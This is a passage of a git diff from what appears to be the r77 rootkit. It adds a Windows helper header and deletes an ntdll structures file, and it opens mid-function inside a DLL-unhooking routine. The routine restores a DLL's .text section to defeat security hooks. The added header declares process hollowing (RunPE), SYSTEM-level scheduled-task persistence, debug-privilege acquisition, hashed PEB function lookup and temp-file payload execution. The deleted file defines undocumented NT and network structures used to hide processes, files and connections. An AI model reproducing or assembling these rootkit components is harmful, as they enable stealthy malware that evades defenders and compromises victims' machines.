the hooked DLL and overwrite it with the original DLL section + if (!lstrcmpiA((LPCSTR)sectionHeader->Name, ".text")) + { + LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress); + DWORD virtualSize = sectionHeader->Misc.VirtualSize; + + DWORD oldProtect; + VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); + libc_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); + VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect); + + break; + } + } + } + + CloseHandle(dllMapping); + } + + CloseHandle(dllFile); + } + } + + FreeLibrary(dll); + } + } +} \ No newline at end of file diff --git a/r77api/r77win.h b/r77api/r77win.h new file mode 100644 index 0000000..1351037 --- /dev/null +++ b/r77api/r77win.h @@ -0,0 +1,282 @@ +#include "r77mindef.h" +#ifndef _R77WIN_H +#define _R77WIN_H + +/// +/// Writes random bytes to the buffer. +/// +/// A buffer to write the random data to. +/// The size in bytes of random data to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetRandomBytes(LPVOID buffer, DWORD size); +/// +/// Generates a random alphanumeric string. +/// +/// A buffer of unicode characters to write the string to. +/// The number of characters to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetRandomString(PWCHAR str, DWORD length); +/// +/// Converts a LPCWSTR into a null terminated LPCSTR. +/// +/// The LPCWSTR to convert. +/// +/// A newly allocated LPCSTR with the converted LPCWSTR. +/// +LPCSTR ConvertStringToAString(LPCWSTR str); +/// +/// Converts a UNICODE_STRING into a null terminated LPWSTR. +/// +/// The UNICODE_STRING to convert. +/// +/// A newly allocated LPWSTR with the converted UNICODE_STRING. +/// +LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str); + +/// +/// Determines whether the operating system is a 64-bit operating system. +/// +/// +/// TRUE, if the operating system is a 64-bit operating system; +/// otherwise, FALSE. +/// +BOOL Is64BitOperatingSystem(); +/// +/// Determines whether a process is a 64-bit process. +/// +/// The process ID to check. +/// A pointer to a BOOL value to write the result to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit); +/// +/// Retrieves a function from a DLL specified by a name. +/// +/// The name of the DLL to retrieve the function from. +/// The name of the function to retrieve. +/// +/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name. +/// +LPVOID GetFunction(LPCSTR dll, LPCSTR function); +/// +/// Gets the integrity level of a process. +/// +/// The process ID to check. +/// A pointer to a DWORD value to write the result to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel); +/// +/// Gets the filename or the full path of a process. +/// +/// The process ID to retrieve the filename or full path from. +/// TRUE to return the full path, FALSE to return only the filename. +/// A buffer to write the filename or full path to. +/// The length of the fileName buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength); +/// +/// Gets the username of a process. +/// +/// The handle to the process to check. +/// A buffer of unicode characters to write the result to. +/// The length of the result buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength); +/// +/// Obtains the SeDebugPrivilege. +/// +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL EnabledDebugPrivilege(); +/// +/// Gets an executable resource. +/// +/// The identifier of the resource. +/// The type identifier of the resource. +/// A pointer that is set to a newly allocated buffer with the resource data. +/// A pointer to a DWORD value to write the size of the returned buffer to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size); +/// +/// Retrieves the full path from a file handle. +/// +/// A file handle to retrieve the path from. +/// A buffer to write the path to. +/// The length of the fileName buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength); +/// +/// Reads the contents of a file. +/// +/// The path to the file to read. +/// A pointer that is set to a newly allocated buffer with the file contents. +/// A pointer to a DWORD value to write the size of the returned buffer to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size); +/// +/// Reads a null terminated LPCWSTR from the specified file. +/// +/// A file handle to read the string from. +/// The buffer to write the string to. +/// The length of the string buffer. +/// +/// TRUE, if this function succeeds; +/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator. +/// +BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length); +/// +/// Writes a buffer to a file. +/// +/// The path to the file to create. +/// A buffer to write to the file. +/// The number of bytes to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size); +/// +/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it. +/// +/// A buffer to write to the file. +/// The number of bytes to write. +/// The extension to append to the random filename, excluding the dot. +/// A buffer of unicode characters to write the path of the created file to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath); +/// +/// Executes a file and waits for the process to exit. +/// +/// The path to the file to execute. +/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed. +/// +/// TRUE, if the file was successfully executed; +/// otherwise, FALSE. +/// If the file was executed, but deletion failed, TRUE is returned. +/// +BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile); +/// +/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in. +/// +/// The name of the scheduled task. +/// The working directory of the scheduled task. +/// The application name of the scheduled task. +/// The commandline arguments to pass to the created process. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments); +/// +/// Starts a scheduled task. +/// +/// The name of the scheduled task. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL RunScheduledTask(LPCWSTR name); +/// +/// Deletes a scheduled task. +/// +/// The name of the scheduled task. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL DeleteScheduledTask(LPCWSTR name); +/// +/// Creates a named pipe that is accessible by every process. +/// +/// The name of the named pipe to be created. +/// +/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed. +/// +HANDLE CreatePublicNamedPipe(LPCWSTR name); + +/// +/// Determines the bitness of an executable file. +/// +/// A buffer containing the executable file. +/// A pointer to a BOOL value to write the result to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit); +/// +/// Retrieves a function pointer from the PEB. +/// +/// The hash of the module name. The module must be loaded. +/// The hash of the function name. +/// +/// A pointer to the function, or NULL, if the function could not be found. +/// +LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash); +/// +/// Creates a new process using the process hollowing technique. +/// The bitness of the current process, the created process and the payload must match. +/// +/// The target executable path. This can be any existing file with the same bitness as the current process and the payload. +/// The actual executable that is the payload of the new process, regardless of the path argument. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL RunPE(LPCWSTR path, LPBYTE payload); +/// +/// Gets the file offset of an exported function from an executable file. +/// +/// A buffer with the executable file. +/// The name of the exported function. +/// +/// The file offset of the exported function; or 0, if this function fails. +/// +DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName); +/// +/// Converts a RVA to a file offset. +/// +/// A buffer with the executable file. +/// The RVA to convert. +/// +/// The file offset converted from the specified RVA; or 0, if this function fails. +/// +DWORD RvaToOffset(LPBYTE image, DWORD rva); +/// +/// Unhooks a DLL by replacing the .text section with the original DLL section. +/// +/// The name of the DLL to unhook. +VOID UnhookDll(LPCWSTR name); + +#endif \ No newline at end of file diff --git a/src/Uninstall/Uninstall.h b/src/Uninstall/Uninstall.h deleted file mode 100644 index efb5017..0000000 --- a/src/Uninstall/Uninstall.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" -#include "../../vs/Uninstall/resource.h" \ No newline at end of file diff --git a/src/Uninstall64/Uninstall64.h b/src/Uninstall64/Uninstall64.h deleted file mode 100644 index 46535db..0000000 --- a/src/Uninstall64/Uninstall64.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" \ No newline at end of file diff --git a/src/ntdll.h b/src/ntdll.h deleted file mode 100644 index aaf52e5..0000000 --- a/src/ntdll.h +++ /dev/null @@ -1,663 +0,0 @@ -#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L) - -#define SL_RESTART_SCAN 0x01 -#define SL_RETURN_SINGLE_ENTRY 0x02 -#define SL_INDEX_SPECIFIED 0x04 -#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08 -#define SL_NO_CURSOR_UPDATE 0x10 - -#define DEVICE_NSI L"\\Device\\Nsi" -#define IOCTL_NSI_GETALLPARAM 0x12001b - -namespace nt -{ - typedef enum _SYSTEM_INFORMATION_CLASS - { - SystemBasicInformation, - SystemProcessorInformation, - SystemPerformanceInformation, - SystemTimeOfDayInformation, - SystemPathInformation, - SystemProcessInformation, - SystemCallCountInformation, - SystemDeviceInformation, - SystemProcessorPerformanceInformation, - SystemFlagsInformation, - SystemCallTimeInformation, - SystemModuleInformation, - SystemLocksInformation, - SystemStackTraceInformation, - SystemPagedPoolInformation, - SystemNonPagedPoolInformation, - SystemHandleInformation, - SystemObjectInformation, - SystemPageFileInformation, - SystemVdmInstemulInformation, - SystemVdmBopInformation, - SystemFileCacheInformation, - SystemPoolTagInformation, - SystemInterruptInformation, - SystemDpcBehaviorInformation, - SystemFullMemoryInformation, - SystemLoadGdiDriverInformation, - SystemUnloadGdiDriverInformation, - SystemTimeAdjustmentInformation, - SystemSummaryMemoryInformation, - SystemMirrorMemoryInformation, - SystemPerformanceTraceInformation, - SystemObsolete0, - SystemExceptionInformation, - SystemCrashDumpStateInformation, - SystemKernelDebuggerInformation, - SystemContextSwitchInformation, - SystemRegistryQuotaInformation, - SystemExtendServiceTableInformation, - SystemPrioritySeperation, - SystemVerifierAddDriverInformation, - SystemVerifierRemoveDriverInformation, - SystemProcessorIdleInformation, - SystemLegacyDriverInformation, - SystemCurrentTimeZoneInformation, - SystemLookasideInformation, - SystemTimeSlipNotification, - SystemSessionCreate, - SystemSessionDetach, - SystemSessionInformation, - SystemRangeStartInformation, - SystemVerifierInformation, - SystemVerifierThunkExtend, - SystemSessionProcessInformation, - SystemLoadGdiDriverInSystemSpace, - SystemNumaProcessorMap, - SystemPrefetcherInformation, - SystemExtendedProcessInformation, - SystemRecommendedSharedDataAlignment, - SystemComPlusPackage, - SystemNumaAvailableMemory, - SystemProcessorPowerInformation, - SystemEmulationBasicInformation, - SystemEmulationProcessorInformation, - SystemExtendedHandleInformation, - SystemLostDelayedWriteInformation, - SystemBigPoolInformation, - SystemSessionPoolTagInformation, - SystemSessionMappedViewInformation, - SystemHotpatchInformation, - SystemObjectSecurityMode, - SystemWatchdogTimerHandler, - SystemWatchdogTimerInformation, - SystemLogicalProcessorInformation, - SystemWow64SharedInformationObsolete, - SystemRegisterFirmwareTableInformationHandler, - SystemFirmwareTableInformation, - SystemModuleInformationEx, - SystemVerifierTriageInformation, - SystemSuperfetchInformation, - SystemMemoryListInformation, - SystemFileCacheInformationEx, - SystemThreadPriorityClientIdInformation, - SystemProcessorIdleCycleTimeInformation, - SystemVerifierCancellationInformation, - SystemProcessorPowerInformationEx, - SystemRefTraceInformation, - SystemSpecialPoolInformation, - SystemProcessIdInformation, - SystemErrorPortInformation, - SystemBootEnvironmentInformation, - SystemHypervisorInformation, - SystemVerifierInformationEx, - SystemTimeZoneInformation, - SystemImageFileExecutionOptionsInformation, - SystemCoverageInformation, - SystemPrefetchPatchInformation, - SystemVerifierFaultsInformation, - SystemSystemPartitionInformation, - SystemSystemDiskInformation, - SystemProcessorPerformanceDistribution, - SystemNumaProximityNodeInformation, - SystemDynamicTimeZoneInformation, - SystemCodeIntegrityInformation, - SystemProcessorMicrocodeUpdateInformation, - SystemProcessorBrandString, - SystemVirtualAddressInformation, - SystemLogicalProcessorAndGroupInformation, - SystemProcessorCycleTimeInformation, - SystemStoreInformation, - SystemRegistryAppendString, - SystemAitSamplingValue, - SystemVhdBootInformation, - SystemCpuQuotaInformation, - SystemNativeBasicInformation, - SystemErrorPortTimeouts, - SystemLowPriorityIoInformation, - SystemTpmBootEntropyInformation, - SystemVerifierCountersInformation, - SystemPagedPoolInformationEx, - SystemSystemPtesInformationEx, - SystemNodeDistanceInformation, - SystemAcpiAuditInformation, - SystemBasicPerformanceInformation, - SystemQueryPerformanceCounterInformation, - SystemSessionBigPoolInformation, - SystemBootGraphicsInformation, - SystemScrubPhysicalMemoryInformation, - SystemBadPageInformation, - SystemProcessorProfileControlArea, - SystemCombinePhysicalMemoryInformation, - SystemEntropyInterruptTimingInformation, - SystemConsoleInformation, - SystemPlatformBinaryInformation, - SystemPolicyInformation, - SystemHypervisorProcessorCountInformation, - SystemDeviceDataInformation, - SystemDeviceDataEnumerationInformation, - SystemMemoryTopologyInformation, - SystemMemoryChannelInformation, - SystemBootLogoInformation, - SystemProcessorPerformanceInformationEx, - SystemCriticalProcessErrorLogInformation, - SystemSecureBootPolicyInformation, - SystemPageFileInformationEx, - SystemSecureBootInformation, - SystemEntropyInterruptTimingRawInformation, - SystemPortableWorkspaceEfiLauncherInformation, - SystemFullProcessInformation, - SystemKernelDebuggerInformationEx, - SystemBootMetadataInformation, - SystemSoftRebootInformation, - SystemElamCertificateInformation, - SystemOfflineDumpConfigInformation, - SystemProcessorFeaturesInformation, - SystemRegistryReconciliationInformation, - SystemEdidInformation, - SystemManufacturingInformation, - SystemEnergyEstimationConfigInformation, - SystemHypervisorDetailInformation, - SystemProcessorCycleStatsInformation, - SystemVmGenerationCountInformation, - SystemTrustedPlatformModuleInformation, - SystemKernelDebuggerFlags, - SystemCodeIntegrityPolicyInformation, - SystemIsolatedUserModeInformation, - SystemHardwareSecurityTestInterfaceResultsInformation, - SystemSingleModuleInformation, - SystemAllowedCpuSetsInformation, - SystemVsmProtectionInformation, - SystemInterruptCpuSetsInformation, - SystemSecureBootPolicyFullInformation, - SystemCodeIntegrityPolicyFullInformation, - SystemAffinitizedInterruptProcessorInformation, - SystemRootSiloInformation, - SystemCpuSetInformation, - SystemCpuSetTagInformation, - SystemWin32WerStartCallout, - SystemSecureKernelProfileInformation, - SystemCodeIntegrityPlatformManifestInformation, - SystemInterruptSteeringInformation, - SystemSupportedProcessorArchitectures, - SystemMemoryUsageInformation, - SystemCodeIntegrityCertificateInformation, - SystemPhysicalMemoryInformation, - SystemControlFlowTransition, - SystemKernelDebuggingAllowed, - SystemActivityModerationExeState, - SystemActivityModerationUserSettings, - SystemCodeIntegrityPoliciesFullInformation, - SystemCodeIntegrityUnlockInformation, - SystemIntegrityQuotaInformation, - SystemFlushInformation, - SystemProcessorIdleMaskInformation, - SystemSecureDumpEncryptionInformation, - SystemWriteConstraintInformation, - SystemKernelVaShadowInformation, - SystemHypervisorSharedPageInformation, - SystemFirmwareBootPerformanceInformation, - SystemCodeIntegrityVerificationInformation, - SystemFirmwarePartitionInformation, - SystemSpeculationControlInformation, - SystemDmaGuardPolicyInformation, - SystemEnclaveLaunchControlInformation, - SystemWorkloadAllowedCpuSetsInformation, - SystemCodeIntegrityUnlockModeInformation, - SystemLeapSecondInformation, - SystemFlags2Information, - SystemSecurityModelInformation, - SystemCodeIntegritySyntheticCacheInformation, - SystemFeatureConfigurationInformation, - SystemFeatureConfigurationSectionInformation, - SystemFeatureUsageSubscriptionInformation, - SystemSecureSpeculationControlInformation - } SYSTEM_INFORMATION_CLASS; - - typedef struct _SYSTEM_PROCESS_INFORMATION - { - ULONG NextEntryOffset; - ULONG NumberOfThreads; - LARGE_INTEGER WorkingSetPrivateSize; - ULONG HardFaultCount; - ULONG NumberOfThreadsHighWatermark; - ULONGLONG CycleTime; - LARGE_INTEGER CreateTime; - LARGE_INTEGER UserTime; - LARGE_INTEGER KernelTime; - UNICODE_STRING ImageName; - ULONG BasePriority; - HANDLE ProcessId; - HANDLE InheritedFromProcessId; - } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; - - typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION - { - LARGE_INTEGER IdleTime; - LARGE_INTEGER KernelTime; - LARGE_INTEGER UserTime; - LARGE_INTEGER DpcTime; - LARGE_INTEGER InterruptTime; - ULONG InterruptCount; - } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; - - typedef enum _FILE_INFORMATION_CLASS - { - FileDirectoryInformation = 1, - FileFullDirectoryInformation, - FileBothDirectoryInformation, - FileBasicInformation, - FileStandardInformation, - FileInternalInformation, - FileEaInformation, - FileAccessInformation, - FileNameInformation, - FileRenameInformation, - FileLinkInformation, - FileNamesInformation, - FileDispositionInformation, - FilePositionInformation, - FileFullEaInformation, - FileModeInformation, - FileAlignmentInformation, - FileAllInformation, - FileAllocationInformation, - FileEndOfFileInformation, - FileAlternateNameInformation, - FileStreamInformation, - FilePipeInformation, - FilePipeLocalInformation, - FilePipeRemoteInformation, - FileMailslotQueryInformation, - FileMailslotSetInformation, - FileCompressionInformation, - FileObjectIdInformation, - FileCompletionInformation, - FileMoveClusterInformation, - FileQuotaInformation, - FileReparsePointInformation, - FileNetworkOpenInformation, - FileAttributeTagInformation, - FileTrackingInformation, - FileIdBothDirectoryInformation, - FileIdFullDirectoryInformation, - FileValidDataLengthInformation, - FileShortNameInformation, - FileIoCompletionNotificationInformation, - FileIoStatusBlockRangeInformation, - FileIoPriorityHintInformation, - FileSfioReserveInformation, - FileSfioVolumeInformation, - FileHardLinkInformation, - FileProcessIdsUsingFileInformation, - FileNormalizedNameInformation, - FileNetworkPhysicalNameInformation, - FileIdGlobalTxDirectoryInformation, - FileIsRemoteDeviceInformation, - FileUnusedInformation, - FileNumaNodeInformation, - FileStandardLinkInformation, - FileRemoteProtocolInformation, - FileRenameInformationBypassAccessCheck, - FileLinkInformationBypassAccessCheck, - FileVolumeNameInformation, - FileIdInformation, - FileIdExtdDirectoryInformation, - FileReplaceCompletionInformation, - FileHardLinkFullIdInformation, - FileIdExtdBothDirectoryInformation, - FileMaximumInformation - } FILE_INFORMATION_CLASS; - - typedef struct _FILE_BOTH_DIR_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - CCHAR ShortNameLength; - WCHAR ShortName[12]; - WCHAR FileName[1]; - } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; - - typedef struct _FILE_DIRECTORY_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - WCHAR FileName[1]; - } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; - - typedef struct _FILE_FULL_DIR_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - WCHAR FileName[1]; - } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; - - typedef struct _FILE_ID_BOTH_DIR_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - CCHAR ShortNameLength; - WCHAR ShortName[12]; - LARGE_INTEGER FileId; - WCHAR FileName[1]; - } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; - - typedef struct _FILE_ID_FULL_DIR_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - LARGE_INTEGER FileId; - WCHAR FileName[1]; - } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; - - typedef struct _FILE_NAMES_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - ULONG FileNameLength; - WCHAR FileName[1]; - } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; - - typedef enum _KEY_INFORMATION_CLASS - { - KeyBasicInformation, - KeyNodeInformation, - KeyFullInformation, - KeyNameInformation - } KEY_INFORMATION_CLASS; - - typedef enum _KEY_VALUE_INFORMATION_CLASS - { - KeyValueBasicInformation, - KeyValueFullInformation, - KeyValuePartialInformation - } KEY_VALUE_INFORMATION_CLASS; - - typedef struct _KEY_BASIC_INFORMATION - { - LARGE_INTEGER LastWriteTime; - ULONG TitleIndex; - ULONG NameLength; - WCHAR Name[1]; - } KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; - - typedef struct _KEY_NAME_INFORMATION - { - ULONG NameLength; - WCHAR Name[1]; - } KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; - - typedef struct _KEY_VALUE_BASIC_INFORMATION - { - ULONG TitleIndex; - ULONG Type; - ULONG NameLength; - WCHAR Name[1]; - } KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; - - typedef struct _KEY_VALUE_FULL_INFORMATION - { - ULONG TitleIndex; - ULONG Type; - ULONG DataOffset; - ULONG DataLength; - ULONG NameLength; - WCHAR Name[1]; - } KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; - - typedef enum _NSI_PARAM_TYPE - { - Udp = 1, - Tcp = 3 - } NSI_PARAM_TYPE; - - typedef struct _NSI_TCP_SUBENTRY - { - BYTE Reserved1[2]; - USHORT Port; - ULONG IpAddress; - BYTE IpAddress6[16]; - BYTE Reserved2[4]; - } NSI_TCP_SUBENTRY, *PNSI_TCP_SUBENTRY; - - typedef struct _NSI_TCP_ENTRY - { - NSI_TCP_SUBENTRY Local; - NSI_TCP_SUBENTRY Remote; - } NSI_TCP_ENTRY, *PNSI_TCP_ENTRY; - - typedef struct _NSI_UDP_ENTRY - { - BYTE Reserved1[2]; - USHORT Port; - ULONG IpAddress; - BYTE IpAddress6[16]; - BYTE Reserved2[4]; - } NSI_UDP_ENTRY, *PNSI_UDP_ENTRY; - - typedef struct _NSI_STATUS_ENTRY - { - ULONG State; - BYTE Reserved[8]; - } NSI_STATUS_ENTRY, *PNSI_STATUS_ENTRY; - - typedef struct _NSI_PROCESS_ENTRY - { - ULONG UdpProcessId; - ULONG Reserved1; - ULONG Reserved2; - ULONG TcpProcessId; - ULONG Reserved3; - ULONG Reserved4; - ULONG Reserved5; - ULONG Reserved6; - } NSI_PROCESS_ENTRY, *PNSI_PROCESS_ENTRY; - - typedef struct _NSI_PARAM - { - SIZE_T Reserved1; - SIZE_T Reserved2; - LPVOID ModuleId; - NSI_PARAM_TYPE Type; - ULONG Reserved3; - ULONG Reserved4; - LPVOID Entries; - SIZE_T EntrySize; - LPVOID Reserved5; - SIZE_T Reserved6; - PNSI_STATUS_ENTRY StatusEntries; - SIZE_T Reserved7; - PNSI_PROCESS_ENTRY ProcessEntries; - SIZE_T ProcessEntrySize; - SIZE_T Count; - } NSI_PARAM, *PNSI_PARAM; - - typedef enum _OBJECT_INFORMATION_CLASS - { - ObjectBasicInformation, - ObjectNameInformation, - ObjectTypeInformation, - ObjectAllInformation, - ObjectDataInformation - } OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; - - typedef struct _LDR_DATA_TABLE_ENTRY - { - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID DllBase; - LPVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; - } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - - typedef struct _PEB_LDR_DATA - { - DWORD Length; - DWORD Initialized; - LPVOID SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID EntryInProgress; - } PEB_LDR_DATA, *PPEB_LDR_DATA; - - typedef struct _PEB - { - BYTE InheritedAddressSpace; - BYTE ReadImageFileExecOptions; - BYTE BeingDebugged; - BYTE SpareBool; - LPVOID Mutant; - LPVOID ImageBaseAddress; - PPEB_LDR_DATA Ldr; - LPVOID ProcessParameters; - LPVOID SubSystemData; - LPVOID ProcessHeap; - PRTL_CRITICAL_SECTION FastPebLock; - LPVOID FastPebLockRoutine; - LPVOID FastPebUnlockRoutine; - DWORD EnvironmentUpdateCount; - LPVOID KernelCallbackTable; - DWORD SystemReserved; - DWORD AtlThunkSListPtr32; - LPVOID FreeList; - DWORD TlsExpansionCounter; - LPVOID TlsBitmap; - DWORD TlsBitmapBits[2]; - LPVOID ReadOnlySharedMemoryBase; - LPVOID ReadOnlySharedMemoryHeap; - LPVOID ReadOnlyStaticServerData; - LPVOID AnsiCodePageData; - LPVOID OemCodePageData; - LPVOID UnicodeCaseTableData; - DWORD NumberOfProcessors; - DWORD NtGlobalFlag; - LARGE_INTEGER CriticalSectionTimeout; - DWORD HeapSegmentReserve; - DWORD HeapSegmentCommit; - DWORD HeapDeCommitTotalFreeThreshold; - DWORD HeapDeCommitFreeBlockThreshold; - DWORD NumberOfHeaps; - DWORD MaximumNumberOfHeaps; - LPVOID ProcessHeaps; - LPVOID GdiSharedHandleTable; - LPVOID ProcessStarterHelper; - DWORD GdiDCAttributeList; - LPVOID LoaderLock; - DWORD OSMajorVersion; - DWORD OSMinorVersion; - WORD OSBuildNumber; - WORD OSCSDVersion; - DWORD OSPlatformId; - DWORD ImageSubsystem; - DWORD ImageSubsystemMajorVersion; - DWORD ImageSubsystemMinorVersion; - DWORD ImageProcessAffinityMask; - DWORD GdiHandleBuffer[34]; - LPVOID PostProcessInitRoutine; - LPVOID TlsExpansionBitmap; - DWORD TlsExpansionBitmapBits[32]; - DWORD SessionId; - ULARGE_INTEGER AppCompatFlags; - ULARGE_INTEGER AppCompatFlagsUser; - LPVOID ShimData; - LPVOID AppCompatInfo; - UNICODE_STRING CSDVersion; - LPVOID ActivationContextData; - LPVOID ProcessAssemblyStorageMap; - LPVOID SystemDefaultActivationContextData; - LPVOID SystemAssemblyStorageMap; - DWORD MinimumStackCommit; - } PEB, *PPEB; - - typedef struct _IMAGE_RELOC - { - WORD Offset : 12; - WORD Type : 4; - } IMAGE_RELOC, *PIMAGE_RELOC; - - typedef NTSTATUS(NTAPI *NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); - typedef NTSTATUS(NTAPI *NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount); - typedef NTSTATUS(NTAPI *NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); - typedef NTSTATUS(NTAPI *NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); - typedef NTSTATUS(NTAPI *NTENUMERATEKEY)(HANDLE key, ULONG index, KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); - typedef NTSTATUS(NTAPI *NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); - typedef BOOL(WINAPI 